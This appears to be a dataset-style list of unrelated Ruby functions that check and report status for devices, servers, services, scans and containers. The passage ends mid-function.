"def checkDeviceStatus\n \n @user = User.find(:first, :conditions => [\"username = ? \", session[:username]]) \n @onlinelist = {}\n sql = \"SELECT devices.*, users.username from devices, users WHERE devices.user_id = users.id AND users.id = #{@user.id.to_s} ORDER BY devices.dev_name\"\n @results = Device.find_by_sql(sql)\n #@results = Device.find(:all, :conditions => [\"user_id = ?\", @user.id])\n @results.each do |dev|\n status = \"offline\"\n #puts \"#{dev.last_seen.to_s} #{device_online_timeout.to_s}\"\n if dev.last_seen > device_online_timeout\n @onlinelist.merge!(dev.id => true)\n else\n @onlinelist.merge!({dev.id => false})\n end\n end\n \n if @results and not @results.empty?\n render :update do |page|\n page['device_list'].replace_html :partial => 'devicelist' \n end\n else\n return\n end\n end",
"def update_status!\n status = :online\n\n if !is_port_open?(@address, @port)\n status = :offline\n end\n\n if status != @status\n time = Time.now\n if status == :offline\n puts \"Server is currently offline\"\n else\n puts \"Server is currently online\"\n end\n\n @status = status\n if @status == :online\n @last_status_change = @last_launch\n else\n @last_status_change = time\n end\n end\n end",
"def get_agent_online_state\n reply = @client.call(:get_agent_online_state)\n data = reply.body.dig(:get_agent_online_state_response,\n :get_agent_online_state_result,\n :array_of_string)\n data = check_if_data_exists(data)\n\n data.map do |attrs|\n {\n agent_id: attrs[:string][0],\n name: attrs[:string][1],\n team: attrs[:string][2],\n # Some states are randomly capitalized and include <> brackets, the brackets are trimmed out\n # and each individual word in the state is capitalized.\n # Unicode characters require a workaround using mb_chars.\n status: normalize_unicode_string(attrs[:string][3]),\n time_in_status: attrs[:string][4]\n }\n end\n rescue Savon::HTTPError => error\n Rails.logger.debug error.http.code\n return []\n end",
"def status\n @status ||= status_line.split(/: /)\n end",
"def check_status\n @status = parser.parse\n end",
"def check_status!\n events\n if should_be_offline?\n if online?\n events.create!(key: :offline).notify\n update_attribute(:online, false)\n end\n else # should be online\n if offline?\n events.create!(key: :online).notify\n update_attribute(:online, true)\n end\n end\n if low_balance?\n events.create!(key: :low_balance).notify if online?\n end\n end",
"def parse_ndstatus# rubocop:disable all\n nodestatus = nodetool_cmd('status')\n nodestatus.each_line do |line|\n next if line.match(/^Datacenter:/)\n next if line.match(/^=======/)\n next if line.match(/^Status/)\n next if line.match(/State/)\n next if line.match(/^--/)\n next if line.match(/^Note/)\n\n if m = line.match(/^UN\\s\\s(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})/)# rubocop:disable all\n address = m[1]\n ndstatus_attr = {\"node.#{address}.status\" => 'UN'}\n else\n m = line.match(/(\\w+)\\s\\s(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})/)\n address = m[2]\n ndstatus = m[1]\n ndstatus_attr = {\"node.#{address}.status\" => ndstatus}\n critical ndstatus_attr.to_json\n end\n ok ndstatus_attr.to_json\n end\n end",
"def is_online?\n devices.select{|d| d.online == true }.any?\n end",
"def status\n first_element_text('status')\n end",
"def parse_incoming_status(params)\n r = Rhizome::from_device_id(params[:rhizome])\n raise ArgumentError,\n 'Rhizome not found. Bad Rhizome Device ID.' if r.nil?\n\n e = equipment_class.find_by_rhizome_eid(r, params[:eid])\n raise ArgumentError,\n 'Equipment not found. Bad Rhizome Equipment ID or the Sprout was not found on the Rhizome.' if e.nil?\n\n {\n state: convert_state(params[:state]),\n stop_time: convert_time(params[:stop_time].to_i),\n equipment_id: e.id,\n task: Task.find(params[:current_task])\n }\n end",
"def status\n info['status']\n end",
"def parse_available\n if @input.match?(/Nincs (.*?) \\/ No match\\n/)\n @input.scan(/Nincs (.*?) \\/ No match\\n/)\n @ast[\"status:available\"] = true\n end\n end",
"def presence_status\n # Memoize for the life of the instance to help with sorting...\n return @presence_status unless @presence_status.nil?\n redis = Worlize::RedisConnectionPool.get_client(:presence)\n result = redis.get(\"status:#{self.guid}\")\n \n # an 'offline' status is represented by the absense of a key in Redis\n # ... why waste prescious memory on users that aren't online?\n return @presence_status = 'offline' if result.nil?\n \n statuses = [\n 'offline', # 'offline' is also optionally represented by a zero value\n 'online',\n 'idle',\n 'away',\n 'invisible'\n ]\n @presence_status = statuses[result.to_i]\n end",
"def check_status\n response = do_request(build_status_xml())\n status_elem = REXML::XPath.first(response,'/webthumb/jobStatus/status')\n @status = (status_elem.text || '').downcase == 'complete' ? STATUS_PICKUP : STATUS_PROCESSING\n \n if pickup?\n \n if status_elem\n @completion_time = status_elem.attributes['completionTime']\n @pickup_url = status_elem.attributes['pickup']\n @browser_width = (status_elem.attributes['browserWidth'] || \"0\").to_i\n @browser_height = (status_elem.attributes['browserHeight'] || \"0\").to_i \n end\n end\n @status\n end",
"def online?\n\t\tstatus == \"online\"\n\tend",
"def online?\n status == :online\n end",
"def test_cmd_system_status\n api = Mu::Command::Cmd_system.new\n result = api.cmd_status []\n doc = Nokogiri::XML(result)\n ports = doc.xpath(\"//ports\")\n assert(ports.length >= 5, \"expected to find at least 5 ports, but got #{ports.length}\")\n end",
"def parse_status\n @request[FSTATUS].to_i\n end",
"def statuses\n api.get('status')\n end",
"def cmd_status(*args)\n if args.length > 0\n cmd_status_help\n return true\n end\n status = client.get_status\n stats = client.get_statistics\n if status.has_key? 'operational'\n op = 'Unknown'\n op = 'Yes' if status['operational'] == 1\n op = 'No' if status['operational'] == 2\n print_status(\"Operational: #{op}\")\n end\n print_status(\"Device: #{status['device_name']}\") if status.key? 'device_name'\n print_status(\"FW Version: #{status['fw_version']}\") if status.key? 'fw_version'\n print_status(\"HW Version: #{status['hw_version']}\") if status.key? 'hw_version'\n print_status(\"Uptime: #{stats['uptime']} seconds\") if stats.key? 'uptime'\n print_status(\"Packets Sent: #{stats['packet_stats']}\") if stats.key? 'packet_stats'\n print_status(\"Last packet Sent: #{Time.at(stats['last_request'])}\") if stats.key? 'last_request'\n print_status(\"Voltage: #{stats['voltage']}\") if stats.key? 'voltage' and not stats['voltage'] == 'not supported'\n end",
"def set_online_status\n self.online_status = \"offline\"\n end",
"def statuses; end",
"def online\n gateway_check\n update_status(:online, @activity, @streamurl)\n end",
"def getDeviceState(info, state)\r\n res = apiGet(\"devices/#{info.deviceId}\")\r\n\r\n succeed = false\r\n \r\n if res.status == 200\r\n response = nil\r\n begin\r\n response = JSON.parse(res.body)\r\n rescue Exception => e \r\n $LOG.warn(\"Invalid body received! Err: #{e.message}\")\r\n end\r\n if !response.nil? and\r\n response.include?(\"als_enabled\") and\r\n response.include?(\"color_hue\") and\r\n response.include?(\"color_saturation\") and\r\n response.include?(\"color_value\")\r\n succeed = true\r\n end\r\n end\r\n changed = false\r\n if succeed\r\n alsEnabled = response[\"als_enabled\"]\r\n color = [response[\"color_hue\"].to_f, response[\"color_saturation\"].to_f, response[\"color_value\"].to_f] \r\n if alsEnabled != state._alsEnabled or color != state.color \r\n state._alsEnabled = alsEnabled\r\n state.color = color\r\n changed = true \r\n end\r\n else\r\n $LOG.warn(\"Failed to get device state from backend! Status: #{res.status}, Response: #{res.body}\")\r\n end\r\n changed\r\n end",
"def get_sensor_statuses\n response = @db_client.query( \"SELECT name,status,updated_time,enabled,type,dismiss,verbose FROM #{SENSOR_STATUS}\" )\n return response.entries\n end",
"def status\n\t\t\tif `svstat #{@svcdir}` =~ /: (up|down)/\n\t\t\t\tst = $1.to_sym\n\t\t\t\tst = :unmonitored if GOD and st == :down\n\t\t\telse\n\t\t\t\tst = :unknown\n\t\t\tend\n\t\t\tst\n\t\tend",
"def status\n o = @api.status\n OpenStruct.new o\n end",
"def status_infos\n data[:status_infos]\n end",
"def extract_landed_aircraft_status(section)\n # We are aiming at find detail string in a structure like:\n # ...\n # <th ...>Status</th>\n # <td ...>\n # <span ...>Landed over 2 hours ago ...</span>\n # ...\n # </td>\n # ...\n # ...\n extract_aircraft_status_raw_text(section).gsub(' (track log & graph)', '')\n end",
"def status\n info[\"Status\"]\n end",
"def parse_status_line(line, header)\n split_line = line.split(',').map(&:strip)\n if split_line.first == '' && split_line.length == 1 # Empty line\n nil\n else\n { pxname: split_line[header.index('pxname')],\n svname: split_line[header.index('svname')],\n status: split_line[header.index('status')] }\n end\n end",
"def status\n\t\t client_list_flag = 0, routing_list_flag = 0\n\t\t client_list = []\n\t\t routing_list = [] \n\n c = @sock.cmd(\"String\" => \"status\", \"Match\" => /(SUCCESS:.*\\n|ERROR:.*\\n|END.*\\n)/) \n\t\t c.each do |l| \n\t\t \n\t\t # End Information Markers\n \t\t\tif (l == \"ROUTING TABLE\\n\")\n client_list_flag = 0\n end\n\n if (l == \"GLOBAL STATS\\n\")\n routing_list_flag = 0\n end\n\n # Update Clients Connected List\n\t\t\t if client_list_flag == 1\n\t\t\t\t client_list << l.split(',')\n\t\t\t\t client_list[-1][-1].chop!\n\t\t\t end\n\n # Update Routing Info List\n\t\t\t if routing_list_flag == 1 \n\t\t\t\t routing_list << l.split(',')\n\t\t\t\t routing_list[-1][-1].chop!\n\t\t\t end\n\t\n\t\t # Start Information Markers\n\t\t\t if (l == \"Common Name,Real Address,Bytes Received,Bytes Sent,Connected Since\\n\")\n\t \t\tclient_list_flag = 1\n\t\t\t end\n\n\t\t\t if (l == \"Virtual Address,Common Name,Real Address,Last Ref\\n\")\n\t\t\t\t routing_list_flag = 1\n\t\t\t end\n\t\t end\n \n\t\t return client_list, routing_list\n\t end",
"def member_status\n output = riak_admin 'member_status'\n result = {}\n if $?.success?\n output.each_line do |line|\n next if line =~ /^(?:[=-]|Status)+/ # Skip the pretty headers\n if line =~ %r{^Valid:(\\d+) / Leaving:(\\d+) / Exiting:(\\d+) / Joining:(\\d+) / Down:(\\d+)}\n result.merge!(:valid => $1.to_i,\n :leaving => $2.to_i,\n :exiting => $3.to_i,\n :joining => $4.to_i,\n :down => $5.to_i)\n else\n result[:members] ||= {}\n status, ring, pending, node = line.split(/\\s+/)\n node = $1 if node =~ /^'(.*)'$/\n ring = $1.to_f if ring =~ /(\\d+\\.\\d+)%/\n result[:members][node] = {\n :status => status,\n :ring => ring,\n :pending => (pending == '--') ? 0 : pending.to_i\n }\n end\n end\n end\n result\n end",
"def service_checker(on=false, off=false)\n begin\n\t\t ms_ports = list_of_services()\n rescue\n update_list_of_services()\n ms_ports = list_of_services()\n end\n\n elements_on = []\n elements_off = []\n\n ms_ports.each do |service|\n name = service[\"name\"]\n path = service[\"path\"]\n ip = service[\"host\"]\n port = service[\"port\"]\n\n status = is_port_open?(ip, port)\n if status # true == is connected aka service is \"up\"\n puts \"Service: #{name}, Path:#{path}, IP: #{ip}, Port: #{port} is \" + \"connected\".color(Colors::GREEN)\n elements_on.push(service)\n\n service_stats(name, \"up\", nil)\n service_status_pusher(name, \"up\")\n\n else\n # status is false\n puts \"Service: #{name}, Path:#{path}, IP: #{ip}, Port: #{port} is \" + \"disconnected\".color(Colors::RED)\n\t\t elements_off.push(service)\n\n service_stats(name, \"down\", nil)\n service_status_pusher(name, \"down\")\n\n end\n end\n\n if on\n return elements_on\n elsif off\n return elements_off\n end\n\n end",
"def list_status\n if self.available_on.nil?\n nil\n elsif self.tba?\n 'TBA'\n elsif self.upcoming?\n 'Upcoming'\n elsif self.new?\n 'New'\n elsif self.recent?\n 'Recent'\n elsif self.backlist?\n 'Backlist'\n else\n nil\n end\n end",
"def extract_arrived_aircraft_status(section)\n # We are aiming at find detail string in a structure like:\n # ...\n # <th ...>Status</th>\n # <td ...>\n # <span ...>Arrived at gate 33 minutes ago ...</span>\n # ...\n # </td>\n # ...\n # ...\n #\n # happen to be same as the other function.\n extract_aircraft_status_raw_text(section).gsub(' (track log & graph)', '')\n end",
"def parse_status(status)\n status = status.to_hex_s\n \n sw1 = status[-4..-3]\n sw2 = status[-2..-1]\n \n case sw1\n when \"67\"\n case sw2\n when \"00\" then err = \"LC_INVALID\"\n else\n raise \"Unknown sw2 #{ sw2.inspect } for sw1 #{ sw1.inspect }\"\n end\n \n when \"6a\"\n case sw2\n when \"82\" then err = \"FILE_NOT_FOUND\"\n when \"86\" then err = \"INVALID_P1_P2\"\n else\n raise \"Unknown sw2 #{ sw2.inspect } for sw1 #{ sw1.inspect }\"\n end\n \n when \"90\"\n case sw2\n when \"00\"\n err = \"NO_ERROR\"\n else\n raise \"Unknown sw2 #{ sw2.inspect } for sw1 #{ sw1.inspect }\"\n end\n \n when \"98\"\n case sw2\n when \"01\" then err = \"TIM_ERROR_TLV\"\n when \"02\" then err = \"TIM_ERROR_VALUE\"\n when \"03\" then err = \"TIM_ERROR_DATA_MISSING\"\n when \"04\" then err = \"TIM_ERROR_INVALID_CHARACTER\"\n when \"11\" then err = \"TIM_ERROR_DATE_FORMAT\"\n when \"12\" then err = \"TIM_ERROR_DATE_OUT_OF_RANGE\"\n when \"13\" then err = \"TIM_ERROR_CURRENCY\"\n when \"21\" then err = \"TIM_ERROR_TAX_VERIFICATION_FAILED\"\n when \"22\" then err = \"TIM_ERROR_NEGATIVE_TURNOVER\"\n when \"31\" then err = \"TIM_ERROR_INVALID_SIGNATURE\"\n when \"41\" then err = \"TIM_ERROR_INVALID_LIFECYCLE\"\n when \"e1\" then err = \"TIM_ERROR_MEMORY_FAILURE\"\n when \"e2\" then err = \"TIM_ERROR_DATA_CORRUPTED\"\n when \"ff\" then err = \"TIM_ERROR_NOT_SUPPORTED\"\n else\n raise \"Unknown sw2 #{ sw2.inspect } for sw1 #{ sw1.inspect }\"\n end\n \n else\n raise \"Unknown sw1 #{ sw1.inspect }\"\n end\n \n Insika.log(\"Parsed status #{ err }\")\n return err\n end",
"def index\n @devices = current_user.devices.all\n\n # init device status\n if @devices.first.present? && @devices.first.status.blank?\n @devices.each do |d|\n d.get_status\n d.save\n end\n end\n end",
"def status\n response = nexus.get(nexus_url(\"service/local/status\"))\n case response.status\n when 200\n doc = Nokogiri::XML(response.content).xpath(\"/status/data\")\n data = Hash.new\n data['app_name'] = doc.xpath(\"appName\")[0].text\n data['version'] = doc.xpath(\"version\")[0].text\n data['edition_long'] = doc.xpath(\"editionLong\")[0].text\n data['state'] = doc.xpath(\"state\")[0].text\n data['started_at'] = doc.xpath(\"startedAt\")[0].text\n data['base_url'] = doc.xpath(\"baseUrl\")[0].text\n return data\n when 401\n raise PermissionsException\n when 503\n raise CouldNotConnectToNexusException\n else\n raise UnexpectedStatusCodeException.new(response.status)\n end\n end",
"def countNodeStatus(domain)\r\n nON = 0\r\n nOFF = 0\r\n nKO = 0\r\n d = (domain == \"default\") ? OConfig.GRID_NAME : domain\r\n url = \"#{OConfig[:tb_config][:default][:cmc_url]}/allStatus?domain=#{d}\"\r\n response = NodeHandler.service_call(url, \"Can't get node status from CMC\")\r\n doc = REXML::Document.new(response.body)\r\n doc.root.elements.each('//detail/*') { |e|\r\n attr = e.attributes\r\n state = attr['state']\r\n nON = (state.match(/^POWERON/)) ? nON + 1 : nON\r\n nOFF = (state.match(/^POWEROFF/)) ? nOFF + 1 : nOFF\r\n nKO = (state.match(/^NODE/)) ? nKO + 1 : nKO\r\n }\r\n puts \"-----------------------------------------------\"\r\n puts \"Testbed : #{d}\"\r\n puts \"Number of nodes in 'Power ON' state : #{nON}\"\r\n puts \"Number of nodes in 'Power OFF' state : #{nOFF}\"\r\n puts \"Number of nodes in 'Not Available' state : #{nKO}\"\r\n puts \"-----------------------------------------------\"\r\nend",
"def skype_status_online\n ret = @skype_obj.Invoke(\"SET USERSTATUS ONLINE\").first\n raise \"Couldnt go online: '#{ret}'.\" if ret != \"USERSTATUS ONLINE\"\n nil\n end",
"def parseIOStatus(bytes)\n return 0 if bytes.size < 7\n (id, nodeid, value, mask) = bytes.unpack('CCnn')\n @client.handleIOStatus(nodeid, value, mask)\n return 7\n end",
"def status_info\n current_path = '/api/v1/status'\n @conn.get(current_path)\n end",
"def status\n case @status\n when 0 then :off\n when 1 then :on\n end\n end",
"def online\n gateway_check\n update_status(nil, @game, @streamurl)\n end",
"def status\n if self.started_at.nil? and self.stopped_at.nil?\n 'Pending'\n elsif self.started_at.present? and self.stopped_at.nil?\n 'Active'\n elsif self.started_at.present? and self.stopped_at.present?\n 'Completed'\n end\n end",
"def read_status(message)\n\n @dbaccess.write_to_log(2,'handle read status')\n\n #$bot_control.read_hw_status()\n\n return_message =\n {\n :message_type => 'read_status_response',\n :time_stamp => Time.now.to_f.to_s,\n :confirm_id => message.time_stamp,\n\n :status => Status.current.info_status,\n :status_time_local => Time.now,\n :status_nr_msg_received => $info_nr_msg_received,\n :status_movement => Status.current.info_movement,\n :status_last_command_executed => Status.current.info_command_last,\n :status_next_command_scheduled => Status.current.info_command_next,\n :status_nr_of_commands_executed => Status.current.info_nr_of_commands,\n :status_current_x => Status.current.info_current_x,\n :status_current_y => Status.current.info_current_y,\n :status_current_z => Status.current.info_current_z,\n :status_target_x => Status.current.info_target_x,\n :status_target_y => Status.current.info_target_y,\n :status_target_z => Status.current.info_target_z,\n :status_end_stop_x_a => Status.current.info_end_stop_x_a,\n :status_end_stop_x_b => Status.current.info_end_stop_x_b,\n :status_end_stop_y_a => Status.current.info_end_stop_y_a,\n :status_end_stop_y_b => Status.current.info_end_stop_y_b,\n :status_end_stop_z_a => Status.current.info_end_stop_z_a,\n :status_end_stop_z_b => Status.current.info_end_stop_z_b,\n\n :status_pin_8 => Status.current.info_pin_8,\n :status_pin_9 => Status.current.info_pin_9,\n :status_pin_10 => Status.current.info_pin_10,\n :status_pin_13 => Status.current.info_pin_13\n }\n\n @dbaccess.write_to_log(2,\"return_message = #{return_message}\")\n\n message.handler.send_message(message.sender, return_message)\n\n end",
"def render_status\n status.each do |st|\n puts \"#{st[:name]} (#{st[:id]})\"\n st[:nodes].each { |n| puts \" #{n[:name]} #{n[:condition]} #{n[:id]} #{n[:ip]}\" }\n puts '---'\n end\n\n nil\n end",
"def parseADCStatus(bytes)\n return 0 if bytes.size < 6\n (id, nodeid, adcchannel, adcvalue) = bytes.unpack('CCCn')\n @client.handleADCStatus(nodeid, adcchannel, adcvalue)\n return 6\n end",
"def online?\n status != :offline\n end",
"def wifi_status\n\n # initialize return hash\n return_hash = {}\n \n # run iwconfig utility\n wifi_status = `iwconfig`\n \n # check current wifi ssid\n return_hash[:current_ssid] = wifi_status.match(/ESSID:.+?\\n/).to_s[6..-1].strip.gsub('\"', '') # remove quotes\n \n # return false if no connection\n return false if return_hash[:current_ssid] == \"off/any\"\n \n # get remaining params\n return_hash[:frequency] = wifi_status.match(/Frequency:\\S+? GHz/).to_s[10..-1].strip\n return_hash[:mac] = wifi_status.match(/Access Point: \\S{2}(:\\S{2}){5}/).to_s[12..-1].strip\n return_hash[:quality] = wifi_status.match(/Quality=\\S+?\\s/).to_s[8..-1].strip\n return_hash[:signal] = wifi_status.match(/Signal level=.+?\\n/).to_s[13..-1].strip\n \n return return_hash\nend",
"def power(status)\n #This is so that tdtool is not polled too much. Now only once per minute\n `tdtool -l > /tmp/tdtoollist.txt`\n #Lets go through all the SUTs\n $sut.each do |ip, sut|\n #Initialize HASH and save label of the device in it\n status[ip] = {}\n status[ip]['label'] = sut[:label]\n #Check the power status on the socket. Assuming that TDTOOLs data is updated.\n tdtool = `cat /tmp/tdtoollist.txt |grep -P '#{sut[:switch]}\\t'`\n tdtool = tdtool.split(\"\\t\")[2].to_s\n tdtool.gsub!(/\\s+/, '')\n #Lets give nice colours depending what the data is\n if tdtool == \"ON\"\n status[ip]['powercolor'] = \"color:green;\"\n elsif tdtool == \"OFF\"\n status[ip]['powercolor'] = \"color:orange;\"\n else\n #This is mainly for devices that do not have power socket installed yet, currently only ATP12\n tdtool = '???'\n status[ip]['powercolor'] = \"color:white;\"\n end\n status[ip]['power'] = tdtool\n #Lets pass the ip we got has to the ping function to determine whether the device is online or offline\n if up?(ip)\n #Save the gathered data, in this case ONLINE, to status HASH. Also give nice colours to the data.\n status[ip]['ping'] = \"ONLINE\"\n status[ip]['pingcolor'] = \"color:green;\"\n next\n else\n #Save the gathered data, in this case OFFLINE, to status HASH. Also give nice colours to the data.\n status[ip]['ping'] = \"OFFLINE\"\n status[ip]['pingcolor'] = \"color:white;\"\n next\n end\n end\nend",
"def get_status\n result = {}\n result['registration'] = !!registration_start_date && !!registration_end_date\n result['cfp'] = !!call_for_papers\n result['venue'] = !!venue && !!venue.name && !!venue.address && !!venue.website\n result['rooms'] = rooms.count > 0\n result['tracks'] = tracks.count > 0\n result['event_types'] = event_types.count > 0\n result['difficulty_levels'] = difficulty_levels.count > 0\n result['process'] = (result.select { |k, v| v }.length / result.length.to_f * 100).round(0).to_s\n result['short_title'] = short_title\n result\n end",
"def status\n s = {}\n # any node that's error or unknown will cause the whole state to be in the other state \n my_nodes.each { |n| s[n.id] = n.status unless n.state == 0 }\n return s\n end",
"def status_info\n {:active_objects => @active_list.size,\n :idle_objects => @idle_list.size,\n :idle_check_status => @idle_check_status}.merge(self.config.to_hash)\n end",
"def status\n result = \"online\"\n if Current.room.ready? && Current.room.poker_records.find_by(user_id: object.id).present?\n result += \" played\"\n end\n result\n end",
"def status\n data[:status]\n end",
"def parse_in_progress\n if @input.match?(/(.*?) folyamatban \\/ Registration in progress\\n/)\n @input.scan(/(.*?) folyamatban \\/ Registration in progress\\n/)\n @ast[\"status:inprogress\"] = true\n end\n end",
"def vpns_with_status(status)\n output = `/usr/sbin/scutil --nc list | /usr/bin/grep -e \"^\\* (#{status})\" | /usr/bin/awk --re-interval '{match($0, /\".*\"/ ); print substr($0, RSTART+1, RLENGTH-2); }'`.strip\n\n output.split(\"\\n\")\nend",
"def fetch_status\n return :green if fetch_successful?\n last_statuses = fetch_events.sorted.limit(Repository::RED_STATUS_THRESHOLD).pluck(:successful).uniq\n return :unknown if last_statuses.empty?\n return :yellow if last_statuses.length > 1\n last_statuses[0] ? :green : :red\n end",
"def status(status)\n return if status.nil? || status.empty?\n [:id, :created_at, :text, :truncated, :in_reply_to_status_id, :in_reply_to_user_id, :favorited, :in_reply_to_screen_name].each do |key|\n @xml.send(\"#{key}_\", status[key]) if status.key?(key)\n end\n if status.key?(:user)\n node :user do\n user(status[:user])\n end\n end\n if status.key?(:source)\n if status.key?(:source_href)\n node :source do\n @xml.a(status[:source], :href => status[:source_href])\n end\n else\n @xml.source status[:source]\n end\n end\n end",
"def get_network_device_wireless_status(options = {})\r\n # Validate required parameters.\r\n validate_parameters(\r\n 'network_id' => options['network_id'],\r\n 'serial' => options['serial']\r\n )\r\n # Prepare query url.\r\n _path_url = '/networks/{networkId}/devices/{serial}/wireless/status'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'networkId' => options['network_id'],\r\n 'serial' => options['serial']\r\n )\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) unless\r\n _context.response.raw_body.nil? ||\r\n _context.response.raw_body.to_s.strip.empty?\r\n decoded\r\n end",
"def online?\n get['state']['reachable']\n end",
"def poll(container)\n info = Hash.new 0\n \n # state\n states = {'exist' => 'a', 'deleted' => 'd', 'suspended' => 'p'}\n states.default = '-'\n status = container.status\n # state can be either active or deleted\n info[:state] = states[status[0]]\n # however if there is additional status field then it may be also suspended (see vzctl status comamnd)\n info[:state] = states[status[3]] if status.size == 4\n\n # if ct is down there is nothing we can do here\n return info if info[:state] != 'a'\n\n # ONE requires usedcpu to be equal to cpu utilization on all processors\n # ex. usedcpu=200 when there are 2 fully loaded cpus\n # currently i get only average pcpu and multiply it by number of cpus\n out = (container.command \"cat /proc/cpuinfo\").split\n cpu_amount = out.find_all {|line| /processor/ =~ line}.size\n\n out = (container.command \"ps axo pcpu=\").split\n info[:usedcpu] = cpu_amount * out.inject(0.0) {|sum, current|sum + current.to_f}\n \n # net transmit & receive\n out = container.command \"cat /proc/net/dev\"\n # i'am wondering how long this shit will work\n out.each_line do |line|\n net = /\\s*(?<interface>\\w+)\\s*:\\s*(?<receive>\\d+)(\\s+\\d+){7}\\s+(?<transmit>\\d+)/.match(line)\n # omit loopback interface\n next if !net || net[:interface] == \"lo\" \n info[:netrx] += net[:receive].to_i\n info[:nettx] += net[:transmit].to_i\n end\n \n # computer container memory usage\n out = container.command \"free -k\"\n info[:usedmemory] = /Mem:\\s+\\d+\\s+(?<used>\\d+)/.match(out)[:used].to_i\n \n info\n rescue RuntimeError => e\n raise OpenVzDriverError, \"Can't get container #{container.ctid} status. Details: #{e.message}\"\n end",
"def wait_for_active\n until details['status'] == 'ACTIVE'\n log \"Not online yet. Waiting...\"\n sleep 10\n end\n end",
"def status\n unless source.nil? or source.empty?\n refresh_status\n else\n self.description = \"Status is currently unavailable\"\n end\n self.description.first\n end",
"def in_progress\n list.select {|l| l[:status] == 40 }\n end",
"def determine_status(mfhd_status)\n\n unavailable_count = 0\n mfhd_status.each do |item_id, item|\n statusCode = item[:statusCode].to_i\n unavailable_count += 1 if statusCode > 1 && statusCode != 11\n end\n\n case\n when unavailable_count == 0\n return 'available'\n when unavailable_count == mfhd_status.size\n return 'not_available'\n else\n return 'some_available'\n end\n\n\n # # assume available\n # status = 'available'\n # unavailable = 0\n # # if statusCode > 1 some item status is set so some item may not be available; 11 (returned) is the exception\n # records.each { |record| unavailable += 1 if record[:statusCode].to_i > 1 && record[:statusCode].to_i != 11 }\n # unless unavailable == 0\n # if unavailable == item_count.to_i\n # status = 'not_available'\n # else\n # status = 'some_available'\n # end\n # end\n # \n # status\n\n end",
"def status\n $stdout.puts \"The current status of the pow server is:\\n\\n\"\n result = %x{curl localhost/status.json --silent --header host:pow}\n json = JSON.parse(result)\n json.each_pair { |k,v| $stdout.puts \" #{k}: #{v}\" }\n $stdout.puts \"\\n\"\n end",
"def status()\n\tneighbors = []\n $neighbors.each do |node, distance|\n neighbors << node\n end\n neighbors.sort\n msg = \"Name: \" + $hostname + \"\\n\"\n msg += \"Port: \" + $port + \"\\n\"\n msg += \"Neighbors: \" \n neighbors.each do |node|\n msg += node + \",\"\n end\n if msg[-1] == \",\"\n msg = msg.chop\n end\n STDOUT.puts msg\nend",
"def scan_status(uuid)\r\n\t\tpost= { \"token\" => @token, \"report\" => uuid } \r\n\t\tdocxml=nessus_request('report/list', post)\r\n\t\tdocxml.root.elements['contents'].elements['reports'].each_element('//report') { |report|\r\n\t\t\tif report.elements['name'].text == uuid\r\n\t\t\t\treturn (report.elements['status'].text)\r\n\t\t\tend\r\n\t\t}\r\n\t\treturn ''\r\n\tend",
"def NetworkStatus(rule_name, info)\n if info.key?('action') and info['action']=='confirm'\n case info['link']\n when 'Access Shared Files'\n AccessSharedFiles(rule_name, info)\n when 'Website Blocking'\n WebsiteBlocking(rule_name, info)\n when 'Block Internet Services'\n BlockInternetServices(rule_name, info)\n when 'Enable Applications'\n EnableApplications(rule_name, info)\n when 'View Device Details'\n ViewDeviceDetails(rule_name, info)\n when 'Rename this Device'\n RenamethisDevice(rule_name, info)\n else\n self.msg(rule_name, :error, '', 'link undefined')\n end\n else\n self.msg(rule_name, :error, '', 'No action key found/action key error')\n end\n end",
"def status\n\t\t# puts \"Status #{@ip} ...\"\n\t\toutput = `#{ipmi_command} chassis power status`\n\t\t# p output\n\t\tif output =~ /on/\n\t\t\t@status = true\n\t\telsif output =~ /off/\n\t\t\t@status = false\n\t\tend\n\tend",
"def status\n service.get(\"\")\n end",
"def parse_remote_stat\n remote_line = @status.lines[1].strip\n if remote_line.match(/diverged/)\n remote_line.match(/.*(\\d*).*(\\d*)/).captures\n else\n [remote_line[/is ahead of.*by (\\d*).*/, 1], remote_line[/is behind.*by (\\d*).*/, 1]]\n end\n end",
"def online?\n get_int(:offline).zero?\n end",
"def status_enum\n status_list\n end",
"def get_status(token: nil)\n url = \"#{host}/api3/api_get_partner_print_status\"\n params = {\n api_key: Authentise.configuration.secret_partner_key,\n token: token,\n }\n response = RestClient.get(url, params: params)\n data = parse(response)\n {\n printing_job_status_name: data[\"printing_job_status_name\"].downcase,\n printing_percentage: data[\"printing_percentage\"],\n minutes_left: data[\"minutes_left\"],\n message: data[\"message\"],\n }\n end",
"def settings\n result = get_parts(\"status\", 1).split(\"\\\\\").reject(&:empty?)\n Hash[*result]\n end",
"def to_status\n time = Time.now.to_i\n last = @db.execute(\"SELECT value from #{@settings} where key = 'LAST_SYNC'\").flatten[0].to_i\n\n sync_state = last == 0 || time > (last + @conf[:sync].to_i)\n\n status_str = ''\n monitor_ids = []\n\n if sync_state then\n status_str = \"SYNC_STATE=yes\\nMISSING_STATE=#{@conf[:missing_state]}\\n\"\n \n @db.execute(\"REPLACE INTO #{@settings} VALUES ('LAST_SYNC', #{time.to_s})\")\n end\n\n vms = DomainList.state_info(@host, @host_id)\n\n # ----------------------------------------------------------------------\n # report state changes in vms\n # ----------------------------------------------------------------------\n vms.each do |uuid, vm|\n next if vm[:ignore] == true\n\n if vm[:id] == -1\n filter = \"WHERE uuid = '#{uuid}'\"\n else\n # in ec2 id could first be -1 but later added, check also uuid\n filter = \"WHERE id = '#{vm[:id]}' OR uuid = '#{uuid}'\"\n end\n\n vm_db = @db.execute(\"SELECT * FROM #{@dataset} #{filter}\").first\n\n monitor_ids << uuid\n\n if vm_db.nil?\n @db.execute(\n \"INSERT INTO #{@dataset} VALUES (?, ?, ?, ?, ?, ?, ?, ?)\",\n [uuid,\n vm[:id].to_i,\n vm[:name],\n vm[:deploy_id],\n time,\n 0,\n vm[:state],\n @conf[:hyperv]]\n )\n\n status_str << vm_to_status(vm)\n \n next\n end\n\n # Updates timestamp and uuid/deploy_id (e.g. VM recreated 